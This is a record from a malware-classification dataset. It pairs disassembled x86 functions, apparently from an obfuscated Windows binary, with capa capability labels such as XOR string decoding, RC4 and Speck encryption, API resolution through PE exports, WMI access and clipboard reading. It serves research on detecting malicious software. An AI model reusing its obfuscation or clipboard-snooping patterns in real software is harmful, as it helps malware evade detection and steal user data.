joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4277a0
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x90
mov dword [esp], 0x790e7b57
mov dword [esp + 4], 0x650b67e9
mov dword [esp + 8], 0x61f6630b
mov dword [esp + 0xc], 0x6dfe6f2f
mov dword [esp + 0x10], 0x69266bfc
mov dword [esp + 0x14], 0x950a9707
mov dword [esp + 0x18], 0x91b993fb
lea eax, [esp + 0x1c]
mov word [esp + 0x1c], 0x9f90
mov dword [esp + 0x1e], 0
mov word [esp + 0x22], 0
mov ecx, 0xe7aab26b
movzx edx, byte [esp + ecx + 0x18554d95]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0xe9
mov byte [esp + ecx + 0x18554d95], dl
inc ecx
cmp ecx, 0xe7aab28f
jne 0x427800
lea ebx, [esp + 0x72]
mov edx, esp
mov edi, ebx
mov ecx, 7
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x8e]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea ebp, [esp + 0x50]
push ebp
push 0
push 0
push 0xe
push ebx
push 0
call dword [0x44fbb0]
mov esi, dword [esp + 0x50]
mov edi, 0xffffffff
test esi, esi
jns 0x427874
mov eax, 0xffffffff
jmp 0x427877
lea eax, [esi + esi]
push eax
call fcn.0040cda0
add esp, 4
push ebp
push esi
mov dword [esp + 0x5c], eax
push eax
push 0xe
push ebx
push 0
call dword [0x44fbb0]
mov eax, dword [esp + 0x50]
mov ecx, eax
add ecx, 9
js 0x4278a4
lea edi, [eax*2 + 0x12]
push edi
call fcn.0040cda0
add esp, 4
mov edi, eax
mov dword [esp], 0xcf7ec964
mov dword [esp + 4], 0xc365cd6d
mov dword [esp + 8], 0xc767c15f
mov dword [esp + 0xc], 0xbb1fc55f
mov dword [esp + 0x10], 0xbfbeb92f
mov byte [esp + 0x14], 0
xor eax, eax
nop
nop
nop
movzx edx, byte [esp + eax]
mov esi, eax
and esi, 0x10
mov ecx, eax
and ecx, 2
mov ebx, ecx
xor ebx, 2
imul ebx, esi
or esi, 2
imul esi, ecx
mov ecx, eax
xor ecx, 0x43c64db2
add ecx, ebx
add ecx, esi
xor ecx, edx
mov edx, ecx
and edx, 0x2d207b85
xor ecx, 0xad207b85
lea edx, [ecx + edx*2]
add ecx, ecx
and ecx, 2
mov esi, edx
and esi, ecx
or ecx, edx
xor ecx, 1
add ecx, esi
mov byte [esp + eax], cl
inc eax
cmp eax, 0x15
jne 0x4278e0
mov esi, dword [esp + 0x54]
movzx ecx, word [esi]
mov eax, edi
test cx, cx
je 0x427961
lea edx, [esi + 2]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427950
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x427991
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427980
mov word [eax], 0
lea eax, [esp + 0x6c]
push eax
push edi
call fcn.004436b0
add esp, 8
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44b470]
Function at 0x427e30
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x88
mov dword [esp + 4], 0x9fdf99bd
mov dword [esp + 8], 0xa3d29dec
mov dword [esp + 0xc], 0xa7c7a1e4
mov dword [esp + 0x10], 0xabcba5d0
mov dword [esp + 0x14], 0xaff2a98d
mov dword [esp + 0x18], 0xb3daadf8
mov dword [esp + 0x1c], 0xb7c4b1c5
mov dword [esp + 0x20], 0xbbdfb5d0
mov dword [esp + 0x24], 0xbfd8b9ce
mov dword [esp + 0x28], 0xc3b4bdd5
mov dword [esp + 0x2c], 0xc79ac1a4
mov dword [esp + 0x30], 0xcbbcc594
mov dword [esp + 0x34], 0xcfa4c9bb
mov dword [esp + 0x38], 0xd3becda5
mov dword [esp + 0x3c], 0xd7a1d1b5
lea eax, [esp + 0x40]
mov dword [esp + 0x40], 0xd5d4
mov byte [esp + 0x44], 0
mov ecx, 0x83b77e9a
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x7c48816a]
xor edx, ecx
mov esi, edx
and esi, 1
or edx, 1
add edx, esi
add dl, 0xfd
mov byte [esp + ecx + 0x7c48816a], dl
inc ecx
cmp ecx, 0x83b77edb
jne 0x427ed0
lea ebx, [esp + 0x4a]
lea edx, [esp + 4]
mov edi, ebx
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0x86]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov edi, esp
push edi
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x44fbb0]
mov ebp, dword [esp]
test ebp, ebp
jns 0x427f3d
mov eax, 0xffffffff
jmp 0x427f44
lea eax, [ebp*2]
push eax
call fcn.0040cda0
add esp, 4
mov esi, eax
push edi
push ebp
push eax
push 0x1e
push ebx
push 0
call dword [0x44fbb0]
mov dword [esp + 4], 0x41ee47f8
mov dword [esp + 8], 0x4dd443df
mov dword [esp + 0xc], 0x49e14fe0
mov dword [esp + 0x10], 0xb5e84bda
mov dword [esp + 0x14], 0xb124b71f
mov dword [esp + 0x18], 0xbdb2b31c
mov byte [esp + 0x1c], 0
mov eax, 0xdd6d9d71
mov ecx, 0x2292628e
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x22926293]
mov edi, eax
xor edi, edx
or edi, ecx
lea edx, [edx + edi*2]
add edx, eax
add edx, 2
mov edi, edx
and edi, 0xacdbecc8
mov ebx, edx
and ebx, 2
mov ebp, ebx
xor ebp, 2
imul ebp, edi
or edi, 2
imul edi, ebx
add edi, ebp
xor edx, 0xacdbecca
mov ebx, edi
and ebx, edx
xor edx, edi
lea edx, [edx + ebx*2]
inc dl
mov byte [esp + eax + 0x22926293], dl
inc eax
dec ecx
cmp eax, 0xdd6d9d8a
jne 0x427fa0
push 0
push 0
lea eax, [esp + 0xc]
push eax
push esi
push dword [esp + 0xac]
call fcn.004237e0
add esp, 0x14
jmp dword [0x44b4b8]

Function at 0x4299c0
Capabilities:
Encode data using xor
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x844
xor edi, edi
mov dword [esp + 0x10], 0
mov esi, 0x20219
mov eax, 1
xor ebp, ebp
mov dword [esp], 0
jmp dword [eax*4 + 0x44bac0]
Function at 0x42a790
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x458
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x54], 0xb92ebb11
mov dword [esp + 0x58], 0xbdd9bf23
mov dword [esp + 0x5c], 0xb1e0b32f
mov dword [esp + 0x60], 0xb53eb72b
mov dword [esp + 0x64], 0xa9aaab2f
mov dword [esp + 0x68], 0
mov eax, 0x1c34c41f
mov ecx, 0x3cb3be0
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x1c34c3cb]
mov esi, ecx
xor esi, edx
mov edi, eax
or edi, edx
add esi, edx
not edx
and edx, eax
add esi, edx
mov edx, 0x1ffffffe
sub edx, esi
and edx, edi
mov esi, edx
mov edi, 1
sub edi, edx
or edx, 1
or edi, 0xfe
add edx, 0x64
and edx, edi
and esi, 1
lea edx, [edx + esi*2]
mov byte [esp + eax - 0x1c34c3cb], dl
inc eax
dec ecx
cmp eax, 0x1c34c437
jne 0x42a800
lea eax, [esp + 0x54]
lea ecx, [esp + 0x30]
push eax
call fcn.0043db40
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44bba8]
Function at 0x431450
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
mov esi, dword [esp + 0x1c]
mov ebp, dword [esp + 0x14]
movzx ecx, word [esi]
test cx, cx
je 0x43159b
mov edx, dword [esp + 0x18]
dec edx
je 0x43159b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, cx
lea edi, [esi + 2]
cmp bx, 0x7f
ja 0x4314a0
lea eax, [ebp + 1]
mov byte [ebp], bl
jmp 0x431540
cmp ebx, 0x7ff
ja 0x4314d0
cmp edx, 2
jb 0x4314d0
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [ebp], al
and bl, 0x3f
or bl, 0x80
lea eax, [ebp + 2]
mov byte [ebp + 1], bl
jmp 0x431540
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x43155a
cmp edx, 4
jb 0x43155a
movzx ecx, word [esi + 2]
add esi, 4
shl ebx, 0xa
lea eax, [ebx + ecx]
add eax, 0xfca02400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [ebp], bl
mov ebx, eax
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [ebp + 1], bl
shr eax, 6
mov edi, eax
xor edi, 0xc0
or eax, 0x3f
and eax, edi
add al, 0x80
mov byte [ebp + 2], al
and cl, 0x3f
or cl, 0x80
lea eax, [ebp + 4]
mov byte [ebp + 3], cl
mov edi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add edx, ebp
sub edx, eax
mov esi, edi
mov ebp, eax
movzx ecx, word [esi]
test cx, cx
je 0x43159b
test edx, edx
jne 0x431480
jmp 0x43159b
movzx eax, ax
cmp eax, 0xdc00
jne 0x431568
mov esi, edi
jmp 0x431548
cmp edx, 3
jb 0x431597
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [ebp], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ebp + 1], al
mov ecx, ebx
not ecx
or ecx, 0x3f
add ecx, ebx
add cl, 0x81
lea eax, [ebp + 3]
mov byte [ebp + 2], cl
jmp 0x431540
mov eax, ebp
jmp 0x431540
mov byte [ebp], 0
sub ebp, dword [esp + 0x14]
mov eax, ebp
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x433410
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x2e8
mov dword [esp + 0x2cc], 0x44c790
mov dword [esp + 0x84], 0
lea eax, [esp + 0x84]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x446aa0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x446ab0
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
sub esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x2c8], eax
mov eax, dword [esp + 0x2cc]
mov ecx, dword [esp + 0x2c8]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x2c4], 0x44c798
mov dword [esp + 0x2bc], 0x44c7a0
mov dword [esp + 0x2b4], 0x44c7a8
mov dword [esp + 0x2ac], 0x44c010
mov dword [esp + 0x2a8], 0x87
mov dword [esp + 0x2a4], 0x44c7b0
mov dword [esp + 0x29c], 0x44c010
mov dword [esp + 0x298], 0x8a
mov dword [esp + 0x294], 0x44c010
mov dword [esp + 0x290], 0x8a
mov dword [esp + 0x28c], 0x44c7b8
mov dword [esp + 0x284], 0x44c7c0
mov dword [esp + 0x27c], 0x44c010
mov dword [esp + 0x278], 0x8d
mov dword [esp + 0x274], 0x44c7c8
mov dword [esp + 0x26c], 0x44c7d0
mov dword [esp + 0x264], 0x44c010
mov dword [esp + 0x260], 0x90
mov dword [esp + 0x25c], 0x44c7d8
mov dword [esp + 0x254], 0x44c7e0
mov dword [esp + 0x24c], 0x44c010
mov dword [esp + 0x248], 0x93
mov dword [esp + 0x244], 0x44c010
mov dword [esp + 0x240], 0x94
mov dword [esp + 0x23c], 0x44c7e8
mov dword [esp + 0x234], 0x44c7f0
mov dword [esp + 0x22c], 0x44c010
mov dword [esp + 0x228], 0x97
mov dword [esp + 0x224], 0x44c7f8
mov dword [esp + 0x21c], 0x44c010
mov dword [esp + 0x218], 0x99
mov dword [esp + 0x214], 0x44c800
mov dword [esp + 0x20c], 0x44c808
mov dword [esp + 0x204], 0x44c810
mov dword [esp + 0x1fc], 0x44c010
mov dword [esp + 0x1f8], 0x9d
mov dword [esp + 0x1f4], 0x44c010
mov dword [esp + 0x1f0], 0x9e
mov dword [esp + 0x1ec], 0x44c818
mov dword [esp + 0x1e4], 0x44c820
mov dword [esp + 0x1dc], 0x44c010
mov dword [esp + 0x1d8], 0xa1
mov dword [esp + 0x1d4], 0x44c828
mov dword [esp + 0x1cc], 0x44c830
mov dword [esp + 0x1c4], 0x44c838
mov dword [esp + 0x1bc], 0x44c010
mov dword [esp + 0x1b8], 0xa5
mov dword [esp + 0x1b4], 0x44c010
mov dword [esp + 0x1b0], 0xa6
mov dword [esp + 0x1ac], 0x44c010
mov dword [esp + 0x1a8], 0xa7
mov dword [esp + 0x1a4], 0x44c010
mov dword [esp + 0x1a0], 0xa8
mov dword [esp + 0x19c], 0x44c840
mov dword [esp + 0x194], 0x44c848
mov dword [esp + 0x18c], 0x44c850
mov dword [esp + 0x184], 0x44c858
mov dword [esp + 0x17c], 0x44c010
mov dword [esp + 0x178], 0x8e
mov dword [esp + 0x174], 0x44c010
mov dword [esp + 0x170], 0x91
mov dword [esp + 0x16c], 0x44c010
mov dword [esp + 0x168], 0x95
mov dword [esp + 0x164], 0x44c010
mov dword [esp + 0x160], 0x9a
mov dword [esp + 0x15c], 0x44c010
mov dword [esp + 0x158], 0x9f
mov dword [esp + 0x154], 0x44c010
mov dword [esp + 0x150], 0xa9
mov dword [esp + 0x14c], 0x44c010
mov dword [esp + 0x148], 0xac
xor ebx, ebx
jmp eax
Function at 0x434cd0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
call fcn.0040e780
sub esp, 0x14
mov edi, esp
push eax
mov esi, esp
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
jmp 0x434cfa
cmp eax, 0
setne al
jmp 0x434d02
xor ebx, ebx
test al, 1
jne 0x434d0d
jmp 0x434e80
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 4
mov dword [esp], 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
cmp eax, 0
setne cl
xor ebx, ebx
test cl, 1
jne 0x434d49
jmp 0x434e78
mov dword [ebp - 0x18], esi
sub esp, 4
mov dword [ebp - 0x20], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov esi, eax
jmp 0x434d5f
sub esp, 4
mov dword [esp], esi
call fcn.004313e0
add esp, 4
cmp eax, 0
setne cl
xor ebx, ebx
test cl, 1
jne 0x434d7f
jmp 0x434e67
mov dword [ebp - 0x1c], eax
mov ebx, eax
add ebx, 1
sub esp, 4
mov dword [esp], ebx
call fcn.0040cda0
sub esp, 8
mov dword [ebp - 0x14], eax
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], esi
call fcn.00431450
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov al, byte [eax]
mov byte [ebp - 0x10], al
mov byte [edi], 0xcf
mov byte [edi + 1], 0xf5
mov byte [edi + 2], 0xf7
mov byte [edi + 3], 0xff
mov byte [edi + 4], 0xea
mov byte [edi + 5], 0xfe
mov byte [edi + 6], 0xe3
mov byte [edi + 7], 0xf5
mov byte [edi + 8], 0xe4
mov byte [edi + 9], 0x33
mov byte [edi + 0xa], 0xf2
mov byte [edi + 0xb], 0x8f
mov byte [edi + 0xc], 0xf0
mov byte [edi + 0xd], 5
mov eax, 0xe
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0x13
jne 0x434def
xor eax, eax
mov ecx, dword [ebp + 8]
cmp eax, 0x13
jae 0x434e37
movzx edx, byte [edi + eax]
mov ebx, 0xbd
sub ebx, eax
and ebx, edx
mov esi, 0x70718cbd
sub esi, eax
or esi, edx
xor esi, 0xffffffff
or ebx, esi
mov ecx, dword [ebp + 8]
mov edx, ebx
shl edx, 1
and edx, 0x6a
xor ebx, 0x4a
sub edx, ebx
mov byte [edi + eax], dl
add eax, 1
jmp 0x434e00
sub esp, 0xc
mov dword [esp], edi
mov esi, dword [ebp - 0x14]
mov dword [esp + 4], esi
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
call fcn.0040d940
mov bl, al
and bl, 1
jmp 0x434e57
sub esp, 4
mov dword [esp], esi
call fcn.0040cdb0
add esp, 4
jmp 0x434e67
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x434e78
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x434e80
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43a370
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
lea eax, [esp + 0x18]
push 0x68
push 7
push 0x100080
push eax
push dword [esp + 0x48]
call fcn.00443500
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d3d0]

Function at 0x43a600
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
lea eax, [esp + 4]
push 0
push 0
push 0x20219
push eax
push dword [esp + 0x34]
call fcn.00443c00
add esp, 0x14
test eax, eax
js 0x43a723
lea ebx, [esp + 8]
lea eax, [esp + 0xc]
push ebx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x24]
call fcn.00443fe0
add esp, 0x24
xor esi, esi
test eax, eax
js 0x43a699
mov ebp, dword [esp + 0x28]
mov eax, dword [esp + 8]
mov ecx, eax
inc ecx
jns 0x43a665
mov eax, 0xffffffff
jmp 0x43a66c
lea eax, [eax*2 + 2]
push eax
call fcn.0040cda0
add esp, 4
mov edi, eax
push ebx
push eax
push 0
push ebp
push dword [esp + 0x14]
call fcn.004445f0
add esp, 0x14
test eax, eax
js 0x43a690
mov esi, edi
jmp 0x43a699
push edi
call fcn.0040cdb0
add esp, 4
mov eax, dword [esp + 4]
mov dword [esp], 0xd4d5cacb
mov ecx, 0x4e
mov edx, 0xb1
nop
nop
movzx edi, byte [esp + ecx - 0x4e]
mov ebx, edx
xor ebx, ecx
and ebx, edi
xor ebx, ecx
add bl, 0x7a
mov byte [esp + ecx - 0x4e], bl
inc ecx
dec edx
cmp ecx, 0x52
jne 0x43a6b0
mov ecx, dword [0x44fbb4]
test ecx, ecx
je 0x43a70a
mov edx, dword [esp]
xor edi, edi
mov ebx, dword [0x44fbb8]
cmp dword [ebx + edi*8], 0x7e776f1
je 0x43a6f0
inc edi
cmp ecx, edi
jne 0x43a6e0
jmp 0x43a70a
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
je 0x43a70a
push eax
push 1
push dword [0x44fbbc]
push ecx
call fcn.004403c0
add esp, 0x10
test esi, esi
jne 0x43a725
mov eax, esp
push eax
call fcn.004432f0
add esp, 4
test al, al
je 0x43a723
cmp dword [esp], 1
je 0x43a725
xor esi, esi
mov eax, esi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43a730
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x2c
mov edi, dword [esp + 0x40]
mov esi, 0xffffffff
mov edx, 0xfffffffd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add edx, 3
cmp byte [edi + esi + 1], 0
lea esi, [esi + 1]
jne 0x43a750
shr edx, 2
movzx eax, byte [edi + esi - 1]
cmp eax, 0x3d
je 0x43a76f
cmp eax, 0x2e
jne 0x43a770
dec edx
mov eax, esi
not eax
and eax, 2
mov ecx, esi
and ecx, 0xfffffffd
sub ecx, eax
movzx eax, byte [edi + ecx]
cmp eax, 0x3d
je 0x43a78c
cmp eax, 0x2e
jne 0x43a78d
dec edx
mov dword [esp], edx
mov edi, 0
test esi, esi
je 0x43a88b
xor edi, edi
mov ebp, 2
mov dword [esp + 8], esi
jmp 0x43a7c2
mov edi, edx
lea eax, [ebp + 4]
add ebp, 2
cmp ebp, esi
mov ebp, eax
jae 0x43a88b
mov esi, dword [esp + 0x40]
movzx eax, byte [esi + ebp - 2]
push eax
call fcn.004228a0
add esp, 4
mov bh, al
movzx eax, byte [esi + ebp - 1]
mov esi, dword [esp + 8]
push eax
call fcn.004228a0
add esp, 4
mov bl, al
shl bh, 2
shr al, 4
and al, 3
or al, bh
mov ecx, edi
and ecx, 1
mov edx, edi
xor edx, 1
lea edx, [edx + ecx*2]
mov ecx, dword [esp + 0x44]
mov byte [ecx + edi], al
cmp ebp, esi
jae 0x43a7b0
mov dword [esp + 4], edx
mov eax, dword [esp + 0x40]
movzx eax, byte [eax + ebp]
push eax
call fcn.004228a0
add esp, 4
cmp al, 0x40
jne 0x43a830
mov edi, dword [esp + 4]
jmp 0x43a7b2
shl bl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, bl
mov ebx, dword [esp + 4]
lea edi, [ebx + 1]
mov edx, dword [esp + 0x44]
mov byte [edx + ebx], cl
lea ecx, [ebp + 1]
cmp ecx, esi
jae 0x43a7b2
mov ebx, eax
mov eax, dword [esp + 0x40]
movzx eax, byte [eax + ebp + 1]
push eax
call fcn.004228a0
add esp, 4
cmp al, 0x40
je 0x43a7b2
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x44]
mov edi, dword [esp + 4]
mov byte [ecx + edi + 1], al
add edi, 2
jmp 0x43a7b2
mov esi, dword [esp]
cmp edi, esi
mov eax, 0
jne 0x43a944
mov ebx, dword [esp + 0x44]
lea edx, [ebx + 0x20]
lea edi, [esp + 0xc]
mov eax, ebx
mov ecx, 8
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0x2c]
xor ebp, ebp
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov edi, ebx
mov eax, esi
add eax, 0xffffffe0
je 0x43a940
cmp esi, 0x21
je 0x43a91e
mov ecx, eax
and ecx, 0xfffffffe
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ebp
and edx, 0x1e
mov dh, byte [esp + edx + 0xc]
movzx ebx, byte [edi + ebp + 0x20]
mov dl, byte [edi + ebp + 0x21]
mov bh, dh
and bh, bl
add dh, bl
add bh, bh
sub dh, bh
mov byte [edi + ebp], dh
lea esi, [ebp + 1]
and esi, 0x1f
mov dh, byte [esp + esi + 0xc]
mov bl, dh
and bl, dl
add dh, dl
add bl, bl
sub dh, bl
mov byte [edi + ebp + 1], dh
add ebp, 2
cmp ecx, ebp
jne 0x43a8e0
test byte [esp], 1
je 0x43a940
movzx ecx, byte [edi + ebp + 0x20]
mov edx, ebp
and edx, 0x1f
movzx edx, byte [esp + edx + 0xc]
mov ch, dl
and ch, cl
add dl, cl
add ch, ch
sub dl, ch
mov byte [edi + ebp], dl
mov byte [edi + eax], 0
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43da10
Capabilities:
Encode data using xor

Disassembly:
push esi
sub esp, 8
mov eax, dword [esp + 0x10]
mov dword [esp], 0x514e4f7c
mov dword [esp + 4], 0
mov ecx, 0xa59c4b8d
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x5a63b473]
xor edx, ecx
mov esi, edx
and esi, 0x3e
xor edx, 0x3e
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x5a63b473], dl
inc ecx
cmp ecx, 0xa59c4b95
jne 0x43da30

Function at 0x43db40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, ecx
mov dword [esp], 0
mov dword [esp + 4], 0x8c8d8a8b
mov eax, 0x2556f662
mov ecx, 0x9d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x2556f65e]
mov esi, edx
not esi
or esi, ecx
not esi
or edx, eax
not edx
or edx, esi
lea ebx, [edx + edx]
not ebx
add ebx, edx
add bl, 0x16
mov byte [esp + eax - 0x2556f65e], bl
inc eax
dec ecx
cmp ecx, 0x99
jne 0x43db70
mov edi, dword [esp + 4]
mov eax, dword [0x44fbb4]
test eax, eax
je 0x43dbf4
xor ecx, ecx
mov edx, dword [0x44fbb8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edx + ecx*8], 0xc85f7986
je 0x43dbd0
inc ecx
cmp eax, ecx
jne 0x43dbc0
jmp 0x43dbf4
mov eax, dword [edx + ecx*8 + 4]
cmp eax, edi
je 0x43dbf4
mov ecx, esp
push ecx
push 0
push 0
push 5
push 4
push dword [0x44fbbc]
push eax
call fcn.004403c0
add esp, 0x1c
mov edi, eax
cmp edi, 0xc0000004
jne 0x43dd30
mov dword [esp + 0xc], ebp
push dword [esp]
call fcn.0043da10
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 8], 0x8c8d8a8b
mov edx, 0x2556f662
mov edi, 0x9d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebp, byte [esp + edx - 0x2556f65a]
mov esi, ebp
not esi
or esi, edi
not esi
or ebp, edx
not ebp
or ebp, esi
lea ebx, [ebp*2]
not ebx
add ebx, ebp
add bl, 0x16
mov byte [esp + edx - 0x2556f65a], bl
inc edx
dec edi
cmp edi, 0x99
jne 0x43dc30
mov edi, dword [esp + 8]
mov edx, dword [0x44fbb4]
test edx, edx
je 0x43dc90
xor ebp, ebp
mov esi, dword [0x44fbb8]
mov ebx, dword [esp + 0x24]
nop
cmp dword [esi + ebp*8], 0xc85f7986
je 0x43dc96
inc ebp
cmp edx, ebp
jne 0x43dc80
jmp 0x43dcbb
mov ebx, dword [esp + 0x24]
jmp 0x43dcbb
mov edx, dword [esi + ebp*8 + 4]
cmp edx, edi
je 0x43dcbb
push 0
push ecx
push eax
push 5
push 4
push dword [0x44fbbc]
push edx
mov esi, eax
call fcn.004403c0
add esp, 0x1c
mov edi, eax
mov eax, esi
test edi, edi
js 0x43dd27
mov edx, dword [eax]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [ecx + edx + 0x3c]
add ecx, edx
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, word [edi + ebp]
movzx esi, word [ebx + ebp]
test edx, edx
je 0x43dcf4
add ebp, 2
cmp dx, si
je 0x43dce0
movzx esi, si
mov edi, esi
xor edi, edx
not esi
and esi, edx
add esi, esi
cmp esi, edi
je 0x43dd12
mov edx, dword [ecx]
test edx, edx
jne 0x43dcd0
mov edi, 0xc0000225
jmp 0x43dd27
mov edx, dword [ecx + 0x44]
mov esi, dword [esp + 0xc]
mov dword [esi + 8], edx
mov ecx, dword [ecx + 0xdc]
mov dword [esi + 0xc], ecx
xor edi, edi
push eax
call fcn.0043da90
add esp, 4
mov eax, edi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x43dd60
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
sub esp, 0x24
mov esi, dword [ecx + 8]
test esi, esi
je 0x43de30
xor eax, eax
cmp dword [ecx], 0
jne 0x43de6a
mov edx, dword [esp + 0x34]
mov dword [esp + 4], 0x18
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], esi
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x20], eax
mov dword [esp], 0x8c8d8a8b
mov eax, 0x2556f662
mov esi, 0x9d
nop
nop
nop
nop
movzx edi, byte [esp + eax - 0x2556f662]
mov ebx, edi
not ebx
or ebx, esi
not ebx
or edi, eax
not edi
or edi, ebx
lea ebx, [edi + edi]
not ebx
add ebx, edi
add bl, 0x16
mov byte [esp + eax - 0x2556f662], bl
inc eax
dec esi
cmp esi, 0x99
jne 0x43ddd0
mov eax, dword [esp]
mov esi, dword [0x44fbb4]
test esi, esi
je 0x43de6a
xor edi, edi
mov ebx, dword [0x44fbb8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x3ba5404
je 0x43de73
inc edi
cmp esi, edi
jne 0x43de20
jmp 0x43de6a
mov dword [esp + 4], 0xb7760900
mov dword [esp + 8], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x3e
xor cl, byte [esp + eax + 4]
add cl, 0xca
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 8
jne 0x43de50
mov eax, dword [esp + 4]
add esp, 0x24
pop esi
pop edi
pop ebx
ret 4
mov esi, dword [ebx + edi*8 + 4]
cmp esi, eax
je 0x43de6a
lea eax, [esp + 0x1c]
lea edi, [esp + 4]
push eax
push edi
push edx
push ecx
push 4
push dword [0x44fbbc]
